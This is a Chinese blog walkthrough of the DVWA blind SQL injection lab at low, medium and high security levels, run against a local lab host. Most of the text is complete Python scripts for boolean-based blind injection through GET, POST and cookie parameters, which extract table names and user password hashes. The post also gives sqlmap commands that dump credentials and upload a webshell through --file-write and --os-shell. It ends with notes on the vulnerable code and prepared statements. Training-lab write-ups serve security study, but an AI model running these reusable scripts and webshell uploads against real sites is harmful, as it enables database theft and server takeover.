本文所有代码可以通过JacquelinXiang/sqli_bool: A simple tool/framework for boolean-based sql injection(GET/POST/COOKIE) (github.com)下载,README中有使用方法。
本文内容未经允许不可转载,其他原创文章也是。
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
目录
LOW
通关步骤
1、观察页面返回的信息:
输入1,按Submit之后返回User ID exists in the database.
输入6,按Submit之后返回User ID is MISSING from the database.
以上现象说明输入正确的值会返回User ID exists in the database,如果输入错误的值会返回User ID is MISSING from the database。
2、找闭合
输入1',按Submit之后返回User ID is MISSING from the database.
输入1'',按Submit之后返回User ID exists in the database
说明闭合是单引号。
3、爆库
接下来如果用纯手工注入就太慢啦,写了个python脚本来完成爆库
#!/usr/bin/python3
# coding=utf-8
"""
functions for boolean-based sql injection(GET)
:copyright: Copyright (c) 2021, Fancy Xiang. All rights reserved.
:license: GNU General Public License v3.0, see LICENSE for more details.
"""
import requests
url = "http://192.168.101.16/dvwa/vulnerabilities/sqli_blind" #有可利用漏洞的url,根据实际情况填写
headers={ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36",} #http request报文头部,根据实际情况填写
cookies={"security": "low", "PHPSESSID": "07bucms1va26di95pntpl9qm57"} #单个cookie的情况可以直接写在headers中,两个cookie的情况要用字典形式的cookies参数
keylist = [chr(i) for i in range(33, 127)] #包括数字、大小写字母、可见特殊字符
flag = 'User ID exists in the database' #用于判断附加sql语句为真的字符,根据网页回显填写
def CurrentDatabaseGET():
n = 10 #预测当前数据库名称最大可能的长度,根据实际情况填写
k = 0
j = n//2
length = 0
db = str()
while True:
if j>k and j<n and j-k>3:
payload1 = "1' and length(database())>"+str(j)+"-- ss" #所有payload根据实际情况填写
param = {
"id":payload1,
"Submit":"Submit",
}
response = requests.get(url, params = param, headers = headers, cookies = cookies) #GET方法发送含payload的request
#print(response.request.headers)
#print(response.text)
if response.text.find(flag) != -1:
n=n
k=j
else:
k=k
n=j
j=(n-k)//2
elif j-k==3 or j-k<3:
for i in range(k-1,n+2):
payload2 = "1' and length(database())="+str(i)+"-- ss"
param = {
"id":payload2,
"Submit":"Submit",
}
response = requests.get(url, params = param, headers = headers, cookies = cookies)
if response.text.find(flag) != -1:
length = i
break
break
else:
break
print("the name of current database contains "+str(length)+" characters")
for i in range(1,length+1):
for c in keylist:
payload3 = "1' and substring(database(),"+str(i)+",1)='"+c+"'-- ss"
param = {
"id":payload3,
"Submit":"Submit",
}
response = requests.get(url, params = param, headers = headers, cookies = cookies)
if response.text.find(flag) != -1:
db = db+c
break
print("the name of current database is "+str(db))
def TablesGET():
n = 100 #预测当前数据库中所有表名称最大可能的长度,根据实际情况填写
k = 0
j = n//2
length = 0
tname = str()
while True:
if j>k and j<n and j-k>3:
payload4 = "1' and (length((select group_concat(table_name) from information_schema.tables where table_schema = database())))>"+str(j)+"-- ss"
param = {
"id":payload4,
"Submit":"Submit",
}
response = requests.get(url, params = param, headers = headers, cookies = cookies)
if response.text.find(flag) != -1:
n=n
k=j
else:
k=k
n=j
j=(n-k)//2
elif j-k==3 or j-k<3:
for i in range(k-1,n+2):
payload5 = "1' and (length((select group_concat(table_name) from information_schema.tables where table_schema = database())))="+str(i)+"-- ss"
param = {
"id":payload5,
"Submit":"Submit",
}
response = requests.get(url, params = param, headers = headers, cookies = cookies)
if response.text.find(flag) != -1:
length = i
break
break
else:
break
print("the name of all tables in current database contains "+str(length)+" characters")
for i in range(1,length+1):
for c in keylist:
payload6 = "1' and substr((select group_concat(table_name) from information_schema.tables where table_schema = database()),"+str(i)+",1)='"+c+"'-- ss"
param = {
"id":payload6,
"Submit":"Submit",
}
response = requests.get(url, params = param, headers = headers, cookies = cookies)
if response.text.find(flag) != -1:
tname = tname+c
break
print("the name of all tables in current database is "+str(tname))
def ColumnsGET(table): #table参数是需要爆破的数据表名称,记得加单引号
n = 200 #预测某个表所有列名称最大可能的长度,根据实际情况填写
k = 0
j = n//2
length = 0
cname = str()
while True:
if j>k and j<n and j-k>3:
payload7 = "1' and (length((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"')))>"+str(j)+"-- ss"
param = {
"id":payload7,
"Submit":"Submit",
}
response = requests.get(url, params = param, headers = headers, cookies = cookies)
if response.text.find(flag) != -1:
n=n
k=j
else:
k=k
n=j
j=(n-k)//2
elif j-k==3 or j-k<3:
for i in range(k-1,n+2):
payload8 = "1' and (length((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"')))="+str(i)+"-- ss"
param = {
"id":payload8,
"Submit":"Submit",
}
response = requests.get(url, params = param, headers = headers, cookies = cookies)
if response.text.find(flag) != -1:
length = i
break
break
else:
break
print("the name of all columns in current table contains "+str(length)+" characters")
for i in range(1,length+1):
for c in keylist:
payload9 = "1' and substr((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"'),"+str(i)+",1)='"+c+"'-- ss"
param = {
"id":payload9,
"Submit":"Submit",
}
response = requests.get(url, params = param, headers = headers, cookies = cookies)
if response.text.find(flag) != -1:
cname = cname+c
break
print("the name of all columns in current table is "+str(cname))
def ContentGET(table,col1,col2): #table参数是需要爆破的数据表名称,col1和col2是需要爆破内容的列,记得都要加单引号
n = 200 #预测期望获取的数据的最大可能的长度,根据实际情况填写
k = 0
j = n//2
length = 0
content = str()
while True:
if j>k and j<n and j-k>3:
payload10 = "1' and (length((select group_concat(concat("+col1+",'^',"+col2+")) from "+table+")))>"+str(j)+"-- ss"
param = {
"id":payload10,
"Submit":"Submit",
}
response = requests.get(url, params = param, headers = headers, cookies = cookies)
if response.text.find(flag) != -1:
n=n
k=j
else:
k=k
n=j
j=(n-k)//2
elif j-k==3 or j-k<3:
for i in range(k-1,n+2):
payload11 = "1' and (length((select group_concat(concat("+col1+",'^',"+col2+")) from "+table+")))="+str(i)+"-- ss"
param = {
"id":payload11,
"Submit":"Submit",
}
response = requests.get(url, params = param, headers = headers, cookies = cookies)
if response.text.find(flag) != -1:
length = i
break
break
else:
break
print("the content contains "+str(length)+" characters")
for i in range(1,length+1):
for c in keylist:
payload12 = "1' and substr((select group_concat(concat("+col1+",'^',"+col2+")) from "+table+"),"+str(i)+",1)='"+c+"'-- ss"
param = {
"id":payload12,
"Submit":"Submit",
}
response = requests.get(url, params = param, headers = headers, cookies = cookies)
if response.text.find(flag) != -1:
content = content+c
break
print("the content is "+str(content))
运行之后结果如下,^是分隔用户名和密码的分隔符,密码拿到md5在线解密破解,md5解密加密 (cmd5.com)解密一下就行
注意,由于服务器是windows系统,而windows系统是大小写不敏感的,所以才会爆破结果中的字母都是大写的。
4、使用sqlmap爆库
用sqlmap爆库其实和 DVWA通关--SQL注入(SQL Injection)_箭雨镜屋-CSDN博客_dvwa sql注入通关 中写的没什么不同,不过知道需要布尔盲注的情况下,也可以为sqlmap提供点便利,通过增加--technique参数指定注入技术,B表示布尔盲注。
下面的命令可以得到系统中所有数据库
python sqlmap.py -u "http://192.168.101.16/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=8qtjtspq8nt3rhen72m5e4msd7" --technique B --dbs
如果要爆库可以依次用以下命令
当前数据库
python sqlmap.py -u "http://192.168.101.16/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=8qtjtspq8nt3rhen72m5e4msd7" --technique B --current-db
dvwa数据库所有表
python sqlmap.py -u "http://192.168.101.16/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=8qtjtspq8nt3rhen72m5e4msd7" --technique B --tables -D dvwa
dvwa数据库users表所有列
python sqlmap.py -u "http://192.168.101.16/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=8qtjtspq8nt3rhen72m5e4msd7" --technique B --columns -D dvwa -T users
dvwa数据库users表user和password列内容
python sqlmap.py -u "http://192.168.101.16/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=8qtjtspq8nt3rhen72m5e4msd7" --technique B --dump -D dvwa -T users -C "user,password"
最终结果
5、使用sqlmap传马
如果不知道网站绝对路径,可以先用下面的方法猜一下
获得sql shell
python sqlmap.py -u "http://192.168.101.16/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=8qtjtspq8nt3rhen72m5e4msd7" --technique B --sql-shell
获得数据库绝对路径
sql-shell> select @@datadir
可以猜测网站根目录可能是C:\phpstudy_pro\WWW\dvwa\
得到根目录之后可以尝试传马
(1)方法1:-file-write
python sqlmap.py -u "http://192.168.101.16/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=434snj2pt58c6hmb5ojinsqi50" --technique B -file-write "E:\渗透测试学习资料\dvwa\file upload\sh.php" --file-dest "C:/phpstudy_pro/WWW/dvwa/shi.php"
webshell上传成功
服务器上可以看到写入的文件,比原始文件多了 admin admin
连接成功
(2)方法2:--os-shell
python sqlmap.py -u "http://192.168.101.16/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=8qtjtspq8nt3rhen72m5e4msd7" --technique B --os-shell
返回的结果是没成功,但是我看服务器上虽然后门没传上去,上传文件用的那个php文件倒是传上去了,问题是一来sqlmap报了错,我们不登陆服务器就不知道这文件传上去了 ,二来这文件名也是有一定随机性的,sqlmap报错就不告诉我们这个文件的名字了。
至于为什么会传马失败,我后来换到SQL Injection关卡low关发现,同样环境下这关是可以传马成功的,于是我对比了两关的代码,结合sqlmap返回的信息中有404 page not found,我觉得应该是本关代码中的“header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );”这句起到了作用。把这句注释掉之后,果然,sqlmap传马成功。
代码分析
简单看一下本关代码,由于用户传入的id参数可以被当作sql语句执行,导致了sql注入漏洞。不过比起SQL Injection关卡low关稍微好点的是,对用户屏蔽了数据库错误信息,另外,就像刚刚说的那样,19行对sqlmap传马也起到了一些干扰。
MEDIUM
通关步骤
1、观察页面
仔细一瞅,这关前端有限制,只能选数字1~5,而且提交表单的方式不是GET
burpsuite抓个包,send to repeater
发送前端限制内的数字试一下,返回User ID exists in the database
发送前端限制外的数字试一下,返回User ID is MISSING from the database
财富密码获取成功,可以开搞了
2、找闭合
id=1'时id=1''时id=1"时id=1""时全都返回User ID is MISSING from the database,估摸着不但闭合不是引号,而且引号还被过滤了。
id=6 or 1=1-- s时返回User ID exists in the database,可以判断id可注入,并且不需要闭合。
3、爆库
这关也写了个python脚本,特点是POST方法提交表单,多cookie,引号过滤绕过
#!/usr/bin/python3
# coding=utf-8
"""
functions for boolean-based sql injection(POST,with Single quotes filtering bypass)
:copyright: Copyright (c) 2021, Fancy Xiang. All rights reserved.
:license: GNU General Public License v3.0, see LICENSE for more details.
"""
import requests
import binascii
url = "http://192.168.101.16/dvwa/vulnerabilities/sqli_blind/" #有可利用漏洞的url,根据实际情况填写
headers={
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36",
} #http request报文头部,根据实际情况填写
cookies={"security": "medium", "PHPSESSID": "07bucms1va26di95pntpl9qm57"} #单个cookie的情况可以直接写在headers中,两个cookie的情况要用字典形式的cookies参数
keylist = [hex(i) for i in range(33, 127)] #十六进制ASCII,包括数字、大小写字母、可见特殊字符
flag = 'User ID exists in the database' #用于判断附加sql语句为真的字符,根据网页回显填写
def CurrentDatabasePOST():
n = 10 #预测当前数据库名称最大可能的长度,根据实际情况填写
k = 0
j = n//2
length = 0
db = str()
while True:
if j>k and j<n and j-k>3:
payload1 = "1 and length(database())>"+str(j)+"-- ss" #所有payload根据实际情况填写
param = {
"id":payload1,
"Submit":"Submit",
}
response = requests.post(url, data = param, headers = headers, cookies = cookies) #POST方法发送含payload的request
#print(response.request.body)
#print(response.request.headers)
#print(response.text)
if response.text.find(flag) != -1:
n=n
k=j
else:
k=k
n=j
j=(n-k)//2
elif j-k==3 or j-k<3:
for i in range(k-1,n+2):
payload2 = "1 and length(database())="+str(i)+"-- ss"
param = {
"id":payload2,
"Submit":"Submit",
}
response = requests.post(url, data = param, headers = headers, cookies = cookies)
if response.text.find(flag) != -1:
length = i
break
break
else:
break
print("the name of current database contains "+str(length)+" characters")
for i in range(1,length+1):
for c in keylist:
payload3 = "1 and substring(database(),"+str(i)+",1)="+c+"-- ss"
param = {
"id":payload3,
"Submit":"Submit",
}
response = requests.post(url, data = param, headers = headers, cookies = cookies)
if response.text.find(flag) != -1:
db = db+chr(int(c,16)) #把十六进制ascii转换为十进制ascii,再转换为字符
break
print("the name of current database is "+str(db))
def TablesPOST():
n = 100 #预测当前数据库中所有表名称最大可能的长度,根据实际情况填写
k = 0
j = n//2
length = 0
tname = str()
while True:
if j>k and j<n and j-k>3:
payload4 = "1 and (length((select group_concat(table_name) from information_schema.tables where table_schema = database())))>"+str(j)+"-- ss"
param = {
"id":payload4,
"Submit":"Submit",
}
response = requests.post(url, data = param, headers = headers, cookies = cookies)
if response.text.find(flag) != -1:
n=n
k=j
else:
k=k
n=j
j=(n-k)//2
elif j-k==3 or j-k<3:
for i in range(k-1,n+2):
payload5 = "1 and (length((select group_concat(table_name) from information_schema.tables where table_schema = database())))="+str(i)+"-- ss"
param = {
"id":payload5,
"Submit":"Submit",
}
response = requests.post(url, data = param, headers = headers, cookies = cookies)
if response.text.find(flag) != -1:
length = i
break
break
else:
break
print("the name of all tables in current database contains "+str(length)+" characters")
for i in range(1,length+1):
for c in keylist:
payload6 = "1 and substr((select group_concat(table_name) from information_schema.tables where table_schema = database()),"+str(i)+",1)="+c+"-- ss"
param = {
"id":payload6,
"Submit":"Submit",
}
response = requests.post(url, data = param, headers = headers, cookies = cookies)
if response.text.find(flag) != -1:
tname = tname+chr(int(c,16))
break
print("the name of all tables in current database is "+str(tname))
def ColumnsPOST(table): #table参数是需要爆破的数据表名称,记得加单引号
n = 200 #预测某个表所有列名称最大可能的长度,根据实际情况填写
k = 0
j = n//2
length = 0
cname = str()
table = binascii.b2a_hex(table.encode())
table = table.decode('ascii') #这两步把table从str转换为十六进制ascii
while True:
if j>k and j<n and j-k>3:
payload7 = "1 and (length((select group_concat(column_name) from information_schema.columns where table_name = 0x"+table+")))>"+str(j)+"-- ss"
param = {
"id":payload7,
"Submit":"Submit",
}
response = requests.post(url, data = param, headers = headers, cookies = cookies)
if response.text.find(flag) != -1:
n=n
k=j
else:
k=k
n=j
j=(n-k)//2
elif j-k==3 or j-k<3:
for i in range(k-1,n+2):
payload8 = "1 and (length((select group_concat(column_name) from information_schema.columns where table_name = 0x"+table+")))="+str(i)+"-- ss"
param = {
"id":payload8,
"Submit":"Submit",
}
response = requests.post(url, data = param, headers = headers, cookies = cookies)
if response.text.find(flag) != -1:
length = i
break
break
else:
break
print("the name of all columns in current table contains "+str(length)+" characters")
for i in range(1,length+1):
for c in keylist:
payload9 = "1 and substr((select group_concat(column_name) from information_schema.columns where table_name = 0x"+table+"),"+str(i)+",1)="+c+"-- ss"
param = {
"id":payload9,
"Submit":"Submit",
}
response = requests.post(url, data = param, headers = headers, cookies = cookies)
if response.text.find(flag) != -1:
cname = cname+chr(int(c,16))
break
print("the name of all columns in current table is "+str(cname))
def ContentPOST(table,col1,col2): #table参数是需要爆破的数据表名称,col1和col2是需要爆破内容的列,记得都要加单引号
n = 200 #预测期望获取的数据的最大可能的长度,根据实际情况填写
k = 0
j = n//2
length = 0
content = str()
while True:
if j>k and j<n and j-k>3:
payload10 = "1 and (length((select group_concat(concat("+col1+",0x5E,"+col2+")) from "+table+")))>"+str(j)+"-- ss"
param = {
"id":payload10,
"Submit":"Submit",
}
response = requests.post(url, data = param, headers = headers, cookies = cookies)
if response.text.find(flag) != -1:
n=n
k=j
else:
k=k
n=j
j=(n-k)//2
elif j-k==3 or j-k<3:
for i in range(k-1,n+2):
payload11 = "1 and (length((select group_concat(concat("+col1+",0x5E,"+col2+")) from "+table+")))="+str(i)+"-- ss"
param = {
"id":payload11,
"Submit":"Submit",
}
response = requests.post(url, data = param, headers = headers, cookies = cookies)
if response.text.find(flag) != -1:
length = i
break
break
else:
break
print("the content contains "+str(length)+" characters")
for i in range(1,length+1):
for c in keylist:
payload12 = "1 and substr((select group_concat(concat("+col1+",0x5E,"+col2+")) from "+table+"),"+str(i)+",1)="+c+"-- ss"
param = {
"id":payload12,
"Submit":"Submit",
}
response = requests.post(url, data = param, headers = headers, cookies = cookies)
if response.text.find(flag) != -1:
content = content+chr(int(c,16))
break
print("the content is "+str(content))
运行结果如下
4、sqlmap爆库
没啥好说的,和 DVWA通关--SQL注入(SQL Injection)_箭雨镜屋-CSDN博客_dvwa sql注入通关 差不多,先把之前提到的burpsuite抓到的报文copy to file,然后用sqlmap跑,可以和上一关一样加个 --technique B
获得当前数据库:
python2 sqlmap.py -r "E:\渗透测试学习资料\dvwa\sqli\mb.txt" --technique B --current-db
获得dvwa数据库所有表:
python2 sqlmap.py -r "E:\渗透测试学习资料\dvwa\sqli\mb.txt" --technique B -D dvwa --tables
获得dvwa数据库users表的所有列:
python2 sqlmap.py -r "E:\渗透测试学习资料\dvwa\sqli\mb.txt" --technique B -D dvwa -T users --columns
获得dvwa数据库users表user和password列所有内容:
python2 sqlmap.py -r "E:\渗透测试学习资料\dvwa\sqli\mb.txt" --technique B -D dvwa -T users -C "user,password" --dump
最终运行结果
5、sqlmap写马
根据DVWA通关--SQL注入(SQL Injection)_箭雨镜屋-CSDN博客_dvwa sql注入通关的medium关卡的写马结果,引号被过滤的时候,恐怕两种sqlmap写马方法都是没法成功写入webshell的,这里简单尝试一下。
(1)方法1:-file-write
python2 sqlmap.py -r "E:\渗透测试学习资料\dvwa\sqli\mb.txt" --technique B -file-write "E:\渗透测试学习资料\dvwa\file upload\sh.php" --file-dest "C:/phpstudy_pro/WWW/dvwa/shi.php"
写马失败
(2)方法2:--os-shell
python2 sqlmap.py -r "E:\渗透测试学习资料\dvwa\sqli\mb.txt" --technique B --os-shell
命令行提示写马失败,并且服务器上也没有发现webshell文件
果然,引号被过滤之后,-file-write和--os-shell两种写马方式全军覆没
代码分析
这关代码的主要特点在第6行,用mysqli_real_escape_string()函数转义了参数id中的特殊字符(NUL(ASCII 0)、\n、\r、\、'、" 和 Control-Z)。
可以看到,这种方法并不能阻止sql注入攻击。
HIGH
通关步骤
1、观察页面:
点一下绿色的here to change your ID,会弹出一个框框,这关的特点是在弹出的页面输入,在原始的页面输出
分别输入数字1和数字7,观察页面返回结果发现和前两关一样,输入正确的值会返回User ID exists in the database,输入错误的值会返回User ID is MISSING from the database。
在burpsuite上查看刚刚抓的包,发现下面两个request报文是成对出现的
/dvwa/vulnerabilities/sqli_blind/cookie-input.php报文的请求内容中的id会变成/dvwa/vulnerabilities/sqli_blind/报文的Cookie头的一部分。
所以这关虽然花里胡哨的,其实并不难,注入点在/dvwa/vulnerabilities/sqli_blind/报文的Cookie头中。
2、找闭合
burpsuite中把/dvwa/vulnerabilities/sqli_blind/报文send to repeater
发送id=1',返回User ID is MISSING from the database
发送id=1'',返回User ID exists in the database
这关闭合是单引号
3、爆库
这关也写了python小工具来辅助手工注入,特点是GET型,多个cookie,注入点在cookie。
由于本关代码耍了点滑头,这个脚本在本关的运行效率不好,执行的时候要多点耐心,等久一点。。。其实有想过脚本提效方案,打算用多线程的方式提升爆破效率,每一位字符的每一次爆破尝试都设置一个线程。但是由于对线程编程不熟悉,遇到了暂时不知道怎么解决的问题,先留个坑。
#!/usr/bin/python3
# coding=utf-8
"""
functions for boolean-based sql injection(Injection point in Cookie)
:copyright: Copyright (c) 2021, Fancy Xiang. All rights reserved.
:license: GNU General Public License v3.0, see LICENSE for more details.
"""
import requests
url = "http://192.168.101.16/dvwa/vulnerabilities/sqli_blind/" #有可利用漏洞的url,根据实际情况填写
headers={ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36",} #http request报文头部,根据实际情况填写
cookies={"security": "high", "PHPSESSID": "sk6mip6o4ppps8njqienih5e02"} #单个cookie的情况可以直接写在headers中,两个cookie的情况要用字典形式的cookies参数
keylist = [chr(i) for i in range(33, 127)] #包括数字、大小写字母、可见特殊字符
flag = 'User ID exists in the database' #用于判断附加sql语句为真的字符,根据网页回显填写
def CurrentDatabaseCOOKIE():
n = 10 #预测当前数据库名称最大可能的长度,根据实际情况填写
k = 0
j = n//2
length = 0
db = str()
while True:
if j>k and j<n and j-k>3:
payload1 = "1' and length(database())>"+str(j)+"-- ss" #所有payload根据实际情况填写
cookies["id"] = payload1 #cookie增加包含payload的键值对
response = requests.get(url, headers = headers, cookies = cookies) #GET方法发送含payload的request,payload在cookie中
if response.text.find(flag) != -1:
n=n
k=j
else:
k=k
n=j
j=(n-k)//2
elif j-k==3 or j-k<3:
for i in range(k-1,n+2):
payload2 = "1' and length(database())="+str(i)+"-- ss"
cookies["id"] = payload2
response = requests.get(url, headers = headers, cookies = cookies)
if response.text.find(flag) != -1:
length = i
break
break
else:
break
print("the name of current database contains "+str(length)+" characters")
for i in range(1,length+1):
for c in keylist:
payload3 = "1' and substring(database(),"+str(i)+",1)='"+c+"'-- ss"
cookies["id"] = payload3
response = requests.get(url, headers = headers, cookies = cookies)
if response.text.find(flag) != -1:
db = db+c
break
print("the name of current database is "+str(db))
def TablesCOOKIE():
n = 100 #预测当前数据库中所有表名称最大可能的长度,根据实际情况填写
k = 0
j = n//2
length = 0
tname = str()
while True:
if j>k and j<n and j-k>3:
payload4 = "1' and (length((select group_concat(table_name) from information_schema.tables where table_schema = database())))>"+str(j)+"-- ss"
cookies["id"] = payload4
response = requests.get(url, headers = headers, cookies = cookies)
if response.text.find(flag) != -1:
n=n
k=j
else:
k=k
n=j
j=(n-k)//2
elif j-k==3 or j-k<3:
for i in range(k-1,n+2):
payload5 = "1' and (length((select group_concat(table_name) from information_schema.tables where table_schema = database())))="+str(i)+"-- ss"
cookies["id"] = payload5
response = requests.get(url, headers = headers, cookies = cookies)
if response.text.find(flag) != -1:
length = i
break
break
else:
break
print("the name of all tables in current database contains "+str(length)+" characters")
for i in range(1,length+1):
for c in keylist:
payload6 = "1' and substr((select group_concat(table_name) from information_schema.tables where table_schema = database()),"+str(i)+",1)='"+c+"'-- ss"
cookies["id"] = payload6
response = requests.get(url, headers = headers, cookies = cookies)
if response.text.find(flag) != -1:
tname = tname+c
break
print("the name of all tables in current database is "+str(tname))
def ColumnsCOOKIE(table): #table参数是需要爆破的数据表名称,记得加单引号
n = 200 #预测某个表所有列名称最大可能的长度,根据实际情况填写
k = 0
j = n//2
length = 0
cname = str()
while True:
if j>k and j<n and j-k>3:
payload7 = "1' and (length((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"')))>"+str(j)+"-- ss"
cookies["id"] = payload7
response = requests.get(url, headers = headers, cookies = cookies)
if response.text.find(flag) != -1:
n=n
k=j
else:
k=k
n=j
j=(n-k)//2
elif j-k==3 or j-k<3:
for i in range(k-1,n+2):
payload8 = "1' and (length((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"')))="+str(i)+"-- ss"
cookies["id"] = payload8
response = requests.get(url, headers = headers, cookies = cookies)
if response.text.find(flag) != -1:
length = i
break
break
else:
break
print("the name of all columns in current table contains "+str(length)+" characters")
for i in range(1,length+1):
for c in keylist:
payload9 = "1' and substr((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"'),"+str(i)+",1)='"+c+"'-- ss"
cookies["id"] = payload9
response = requests.get(url, headers = headers, cookies = cookies)
if response.text.find(flag) != -1:
cname = cname+c
break
print("the name of all columns in current table is "+str(cname))
def ContentCOOKIE(table,col1,col2): #table参数是需要爆破的数据表名称,col1和col2是需要爆破内容的列,记得都要加单引号
n = 200 #预测期望获取的数据的最大可能的长度,根据实际情况填写
k = 0
j = n//2
length = 0
content = str()
while True:
if j>k and j<n and j-k>3:
payload10 = "1' and (length((select group_concat(concat("+col1+",'^',"+col2+")) from "+table+")))>"+str(j)+"-- ss"
cookies["id"] = payload10
response = requests.get(url, headers = headers, cookies = cookies)
if response.text.find(flag) != -1:
n=n
k=j
else:
k=k
n=j
j=(n-k)//2
elif j-k==3 or j-k<3:
for i in range(k-1,n+2):
payload11 = "1' and (length((select group_concat(concat("+col1+",'^',"+col2+")) from "+table+")))="+str(i)+"-- ss"
cookies["id"] = payload11
response = requests.get(url, headers = headers, cookies = cookies)
if response.text.find(flag) != -1:
length = i
break
break
else:
break
print("the content contains "+str(length)+" characters")
for i in range(1,length+1):
for c in keylist:
payload12 = "1' and substr((select group_concat(concat("+col1+",'^',"+col2+")) from "+table+"),"+str(i)+",1)='"+c+"'-- ss"
cookies["id"] = payload12
response = requests.get(url, headers = headers, cookies = cookies)
if response.text.find(flag) != -1:
content = content+c
break
print("the content is "+str(content))
运行结果
4、sqlmap爆库
这关使用sqlmap主要注意要比low关增加一个参数--level 2,这样才会检测cookie中是否包含注入点(默认--level 1,不检测cookie)
当前数据库:
python2 sqlmap.py -u "http://192.168.101.16/dvwa/vulnerabilities/sqli_blind/" --cookie "id=1; security=high; PHPSESSID=9ri4kv8v0ocv854srh0qmuqp54" --technique B --level 2 --current-db
dvwa数据库所有表:
python2 sqlmap.py -u "http://192.168.101.16/dvwa/vulnerabilities/sqli_blind/" --cookie "id=1; security=high; PHPSESSID=9ri4kv8v0ocv854srh0qmuqp54" --technique B --level 2 --tables -D dvwa
dvwa数据库users表所有列:
python2 sqlmap.py -u "http://192.168.101.16/dvwa/vulnerabilities/sqli_blind/" --cookie "id=1; security=high; PHPSESSID=9ri4kv8v0ocv854srh0qmuqp54" --technique B --level 2 --columns -D dvwa -T users
dvwa数据库users表user和password列所有内容:
python2 sqlmap.py -u "http://192.168.101.16/dvwa/vulnerabilities/sqli_blind/" --cookie "id=1; security=high; PHPSESSID=9ri4kv8v0ocv854srh0qmuqp54" --technique B --level 2 --dump -D dvwa -T users -C "user,password"
最终结果
5、sqlmap写马
(1)方法1:-file-write
python2 sqlmap.py -u "http://192.168.101.16/dvwa/vulnerabilities/sqli_blind/" --cookie "id=1; security=high; PHPSESSID=9ri4kv8v0ocv854srh0qmuqp54" --technique B --level 2 -file-write "E:\渗透测试学习资料\dvwa\file upload\sh.php" --file-dest "C:/phpstudy_pro/WWW/dvwa/shi.php"
传马成功
服务器上的文件和low关是一样的内容
(2)方法2:
python2 sqlmap.py -u "http://192.168.101.16/dvwa/vulnerabilities/sqli_blind/" --cookie "id=1; security=high; PHPSESSID=9ri4kv8v0ocv854srh0qmuqp54" --technique B --level 2 --os-shell
结果和low关一样,也是命令行返回失败,实际上传文件的shell已经上传成功。
代码分析
和low关相比其实也没有多高明的改变,改变参数的获取途径并没有什么明显效果。
稍微有点用的是17~21行,如果查询结果为0行,则会随机等待几秒再返回结果。就是这里让我的脚本和sqlmap的执行效率都比前两关要慢。
但。。这种方法在真实网站真的实用吗?
况且也没有防住sql注入
IMPOSSIBLE
代码分析
最后看看课代表的答案
仅考虑sql注入防御的话,13~15行使用预编译语句防止了sql注入。
使用预编译语句的原理是,在用户数据带入sql语句之前就编译sql语句,这样用户数据就不会被当成sql语句的一部分去执行。